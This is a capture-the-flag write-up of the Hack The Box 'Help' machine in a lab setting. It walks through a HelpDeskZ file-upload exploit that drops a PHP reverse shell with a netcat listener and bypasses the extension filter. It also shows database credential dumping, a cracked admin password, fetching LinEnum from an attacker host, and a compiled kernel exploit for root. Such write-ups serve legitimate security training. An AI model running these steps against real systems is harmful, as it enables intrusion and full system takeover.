Running nmap get 3 results:
Looking at the webpage on port 80:
Looks like nothing is there, just the default. Let’s add the ip and hostname (help.htb) into our hosts file and see if anything changes. It does not, no clever host routing.
Let’s run a dirb on it anyway!
While that is running, lets look at port 3000.
Very cryptic.While we think about that, let’s run a dirb on this too.
It looks like some sort of JSON/Javascript applet. We need to work out a query, how do we even submit a JSON query? That is something we will have to find out!
Looks like we got some results from the dirb on port 80:
Let’s go take a look at Support.
So that’s a helpdeskz. What would be great is to find a version. Looking at their github page: https://github.com/evolutionscript/HelpDeskZ-1.0
We see that there might be a readme.html file.
Yes, it’s there!! Looks like the version is 1.0.2.
There doesn’t seem to be a changelog, so I can’t see what happened in v1.0.1.
Looking through the readme, we find the way to set this up. This is found at /support/?v=staff
There are now 2 areas that allow us to login, we just need some creds to try out! Maybe these are the ones we need to get from port 3000.
Our dirb on port 3000 came back with nothing. Looks like we have to work out how to make that request.
First of all lets capture the page in Burp and see if we get any options.
Well that’s not a whole lot of information is it!
Let’s instead begin with what we know. We knows its some sort of javascript. The nmap scan tells us its Node.js Express framework. This might be enough, a quick google shows a few results on what we can try. So let’s give attempt #1 a go. (I expect there will be many attempts)
What I think we need to do, is make requests, until something pops, so first up:
http://10.10.10.121:3000/username?name="admin"
Ok, we get a reply
Cannot GET /username
Is that good? Honestly. Not sure. But let’s think about what the message was:
"Hi Shiv, To get access please find the credentials with given query"
I guess we are making a query, we just have absolutely 0 idea of any parameters.
Trying a few obvious ones:
- admin
- index
- helpdesk
- helpdeskz
- help
- hackthebox
All of these come back with the same “Cannot GET /<variable>”
The only thing we did have earlier, was the If-None-Match which matches the ETag when we load the webpage.
Guess what. Cannot GET!
Ok, so I am completely like 100% baffled at what the heck is going on here. So maybe lets park this.
Heading back over to port 80, can be do anything here? SQLInjection maybe?
Looking at the site we have things like this:
http://10.10.10.121/support/?v=knowledgebase http://10.10.10.121/support/?v=knowledgebase&action=search
Let’s put these through SQLMap and see if anything pops.
sqlmap -u "http://10.10.10.121/support/?v=knowledgebase"
Nothing!
sqlmap -u "http://10.10.10.121/support/?v=knowledgebase&action=search"
Again SQLMap comes back with not looking to be injectable.
I’m still a bit lost and feel that we should use port 3000, but maybe that’s just a horrific rabbithole? Who knows. I’m sure ippsec will tell us!
I remembered a tool that I haven’t used yet, good old searchsploit. Looking at HelpDeskZ we get:
Ok, let’s take a look at this.
It looks like we can upload .php-files. The exploit gives us the steps to reproduce, so let’s try that.
Steps to reproduce: http://localhost/helpdeskz/?v=submit_ticket&action=displayForm Enter anything in the mandatory fields, attach your phpshell.php, solve the captcha and submit your ticket.
So, we head over and go to submit a ticket, we fill in all the mandatory fields:
We now need to upload a file. Lets hop over to pentestmonkey reverse shell cheat sheets (http://pentestmonkey.net/tools/web-shells/php-reverse-shell)
Download the file and untar it:
tar -zxvf php-reverse-shell-1.0.tar.gz
Now we move it into our working folder and edit the columns we need to:
These options are near the top of the script!
I also changed the name from reverse.php to yekki.php. This is in case anyone else is doing the same thing, I don’t want to give them free shells.
Before we upload this, let’s get a listener on port 9005
nc -nvlp 9005
We will leave that running on a separate tmux tab and submit the ticket.
This returned an error:
This means that the program is doing some sort of extension checking on our uploads, maybe.
Let’s test this theory by changing it to .jpg and trying to upload it again.
That time our ticket submitted.
I tried running the script anyway and it errored out all over the place. So we now have 2 things to work on!
First, let’s try and sort out this file upload. Heading over to github, let’s clone helpdeskz and see if we can work out what checks it is doing on file uploads.
Doing a grep on the directory, we find that all the html sites appear to be in views/client
There are 3 for submit tickets, let’s go take a look at each of these.
None of these seem to show any extension banning. Let’s head to root and do a grep for the error message
grep -iR "file is not allowed"
We get a hit:
Opening this we get:
$LANG['FILE_NOT_ALLOWED'] = 'File is not allowed.';
So we need to find the first part of this in the code, which then goes into each language page to get the response in the correct language for that set up.
We get 2 more hits:
controllers/submit_ticket_controller.php: $error_msg = $LANG['FILE_NOT_ALLOWED']; controllers/view_tickets_controller.php: $error_msg = $LANG['FILE_NOT_ALLOWED'];
Lets take a look at the submit tickets controller first.
This is long, so I’ll only include the relevant part:
Case ‘2’ looks to do something within the file verification module. It still doesn’t appear to give us a list of banned extensions.
After a bit more hunting, I found the functions.php script. This has a bit more information:
Within the install file, we have a list to go into the file_types table:
So php is on that list, but as is jpg. So let’s try a zip file and see what happens. We again get file is not allowed.
Trying a few more, we keep getting the same result. So, this makes sense that it is the file exclusion list.
So how can we get around this?
Oddly, jpg worked didn’t it? Let’s double check that.
It does, but jpg is in our exclusions list. Let’s try jpeg. That also worked. How strange. They are both on our restricted list.
So, let’s see if we can find out jpg at all. Again looking at the program, I think any uploads would go to /uploads/tickets
Going to this on a browser just takes me back to the main page. Not ideal.
Now that we know we are interested in Support, let’s run another dirb on this:
dirb http://10.10.10.121/support/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
Maybe this will help us out a little bit.
While that was running, I took another look at the source code and found a few things:
$uploaddir = UPLOAD_DIR.'tickets/';
We know now the upload directory, which will be useful later if we can exploit this.
$filename = md5($_FILES['attachment']['name'].time()).".".$ext;
This one is interesting, it does something with .time() which is current time. Then adds the $ext.
So when we run our exploit, we will have to tell it that the file name will include the current time.
Really what we need to work out is extension bypassing. Googling that brings up an interesting idea, using double extensions. We can assume the check is being done on everything from <filename>.extension so it’s catching .php. What if we tried adding another extension before that, so a .jpg.php
The file would still be .php as thats the last extension, but if the check only checks the first one, we might get lucky.
Lets copy our file and make it yekki.jpg.php (we know jpg is allowed, as we did those checks earlier).
We continue to get file is not allowed. If we change it round, so yekki.php.jpg
Success! So the filter was checking on the last extension.
We also know that the code rewrites the “.$ext” when it renames the file, so fingers crossed this will use the first one, as in .php.
Let’s give the script a run and see if we get any success.
It errors out with file not found. I’m not surprised, let’s be honest we really don’t understand what this is doing.
Failing to install a local copy of helpdeskz
What’s the best way to learn how something works? Having all the information. We can do that, by setting up our own instance and running the same things and seeing what the output is.
Is it annoying? Yes. Will it get us the answer and be worth the time? Hopefully!
Now, what I don’t really want, is an instance of helpdeskz installed on my kali system, let’s boot up a temporary Ubuntu system and version 1.0.2 of helpdeskz to mirror what we are seeing on the box.
So first off, we clone the Helpdeskz package from git hub again
git clone https://github.com/evolutionscript/HelpDeskZ-1.0
I’ve got apache running, so I go the www folder and make a new directory called support
cd /var/www/html mkdir support cp /home/yekki/HelpdeskZ-1.0/* /var/www/html/support
We need to make the file owned and edited by wwwdata so that Apache can do what it needs to.
sudo chown -R www-data html/ sudo chgrp -R www-data html/
Now we open up a browser and go to 127.0.0.1/support/install
We get the install prompt:
We follow the installer, adding in database names and username and passwords:
We get redirected to /install/install.php which unfortunately stays blank!
For some reason the installer didn’t install. I could troubleshoot this, but it could take hours and to be honest, I really can’t be bothered.
Faffing with Python
So, let’s just go over what we know. What errors we have had.
One big question, do we even know if the script is getting to the webpage? The output we get is some rubbish then it stalls.
So let’s add some comments in after each step to make sure that the script is actually completing each steps.
To print a line in python we use:
print 'text'
So I’ve changed the top of the script to:
print 'starting' import hashlib print 'hashlib imported' import time print 'time imported' import sys print 'sys imported' import requests print 'requests imported'
Let’s see if all these get imported properly.
Well that is unexpected, but at least our no such file or directory might make sense.
So a bit more googling for a classic Hello World python program. For python3 we need to use:
print ("Text")
Let’s try this and we will run it with python3 with all the prints changed to print (“text”)
Ok, slightly closer maybe! Different error at least.
Let’s re-get the unedited exploit and run it with python3 just off the bat! An error:
File "40300.py", line 36 print 'Helpdeskz v1.0.2 - Unauthenticated shell upload exploit' ^ SyntaxError: Missing parentheses in call to 'print'. Did you mean print('Helpdeskz v1.0.2 - Unauthenticated shell upload exploit')?
So, whatever I try here. I get python errors. For fucks sake!
So, taking a new version of the exploit, putting () round all of the print options:
Helpdeskz v1.0.2 - Unauthenticated shell upload exploit Traceback (most recent call last): File "40300.py", line 49, in <module> md5hash = hashlib.md5(plaintext).hexdigest() TypeError: Unicode-objects must be encoded before hashing
So line 49 is creating the md5hash.
Next step, we tried the version on our kali box. Maybe a fresh download would work. Heading over to google we get the code and put it into a new file
Again, let’s add some () around all the prints.
Running it in python3 again errors. Flippin heck!
Through anger, I tried running it through python as standard again:
Success! It didn’t find anything but that doesn’t matter. The script ran through!
Back on Track!
Let’s try again with our .jpg image. See if we can locate where the right upload folder is. Let’s start with just /support/
Nothing.
Let’s add in support/uploads/
Nothing
Let’s add in support/uploads/tickets/
Still no good. Fuck!
One of these must be right! Thinking about it though, the exploit script looks for .php files doesn’t it!
url = helpdeskzBaseUrl+md5hash+'.php'
What if we change this, to look for a .png file?
url = helpdeskzBaseUrl+md5hash+'.png'
Success!
So we know for a fact, that the files get uploaded to /support/uploads/tickets/
It’s also important that in our directory when running the script, we add the following “/” otherwise it doesn’t work!
So, let’s try uploading a php reverse shell and see what we get! We still get the File is not allowed error message. Let’s try it anyway and deal with extensions later if needed.
First of all, go back into the script and change the extension back to .php
python exploit-dl.py http://10.10.10.121/support/uploads/tickets/ yekki.php
Also get your listener running!
nc -nvlp 9005
OMG! We are in! This is so exciting!
So what have we really learnt up until this point?! Check that scripts work, if the error message isn’t in the script (which I knew early on) don’t just keep trying things. Stop think about it, do something to check where the script is getting to and what is happening!
Anyway, to continue.
Let’s get a better shell:
python -c 'import pty;pty.spawn("/bin/bash")'
Now lets head over to the /home directory. There is only 1 user, help, which is who we are.
A quick ls and look at that:
A user flag! Yes!
If it wasn’t for the python issues, we would have got here pretty quickly. It was just a straight CVE. Working out where uploads go, ignoring error messages (still odd) and we were there.
Priv Esc
Shall we have a go for root?!
First, let’s get LinEnum onto the box and running.
Using the python SimpleHTTPServer to host it on my box:
python -m SimpleHTTPServer 8005
Then a wget to download it on the remote box
wget 10.10.14.9:8005/LinEnum.sh
Let’s give it executable powers
chmod +x LinEmum.sh
And let it run.
Looks like we are an admin user. Also we might be able to sudo
So, let’s see if we can sudo:
We can, but we need a password.
Shall we see if we can find one, maybe from what was on port 3000. Or from the database that was needed to be set up for helpdeskz.
From our earlier faffing with trying to install it, we learnt that most things are in /support/includes/config.php
Looking there:
Shall we try helpme as a sudo password.
Sadly not.
As a bit of an aside, the program really doesn’t stop .php files from being uploaded:
Anyway, back to root hunting.
So we have a database username and password.Let’s go into there and see what we can find.
mysql -u root -p
Enter the password and we have a few databases
We know the database is called support. So let’s jump in there.
USE support;
We get a list of the tables
SHOW TABLES;
Under users are the users that have been created, so I appear there a few times:
This doesn’t seem too useful, however the staff table might be:
There is an admin password. Let’s see if we can crack that.
Going to hashkiller.co.uk we crack the hash.
The password is Welcome1
Let’s try that on the staff login on helpdeskz. It worked!
So, let’s try
su -
The password Welcome1 doesn’t work for that. Annoying.
Also it’s just dawned on me, I didn’t even try to brute force this login area, which would have been done easily with rockyou.
Anyway, back to priv esc.
The box got reset and I wondered if ssh would work with the Welcome1 password.
It did. we have ssh access that’s useful.
So we know 100% that the password for help is Welcome1. Unfortunately we aren’t in the sudoers group.
Looking in the home directory, there is bash_history. Let’s take a look in there:
This looks like the set up commands. Touching bash_history is an odd one.
The 2 commands, su then what could be a password look interesting. Let’s try that
Authentication Failed.
Ok, re-running LinEnum for any more clues, as I’m not getting too far here. This time I ran it with the flag -t for thorough tests.
Still not a huge amount that I understand to be vulnerable. Let’s get the linux-exploit-suggester script (https://github.com/mzet-/linux-exploit-suggester )
Running this, we get some results. One of the suggestions is dirtycow & dirtycow2 another is eBPF_verifier.
Before I start running down these methods, let’s see the really look at this Ubuntu version.
lsb_release -a Distributor ID: Ubuntu Description: Ubuntu 16.04.5 LTS Release: 16.04 Codename: xenial
Linux help 4.4.0-116-generic #140-Ubuntu SMP Mon Feb 12 21:23:04 UTC 2018 x86_64 x86_64 x86_64 GNU/Linux
So, if we google those build versions, both 4.4.0.116 and 16.04.5 with local priv esc. The top result is this one: https://www.exploit-db.com/exploits/44298
We download this onto our box and move it across using SimpleHTTPServer as usual.
Then we need to rename it to be .c then compile is using:
gcc 44298.c –o yekki
This has created an executable called yekki. We run this and:
A quick whoami confirms that we are root.
Literally no idea what it does, some sort of buffer overflow would be the assumption. I will try to look into this at a later date!
We can then get the root flag:
Well. What a journey!
This box was pretty straightforward, if it hadn’t been for the python issues, this would have been quick. However as it was, it took a while, but we got both user and root.
For root, always remember to check the basic things, I’m pretty sure early on we noted it was an older version of Ubuntu, which led us quickly(ish) to the priv esc!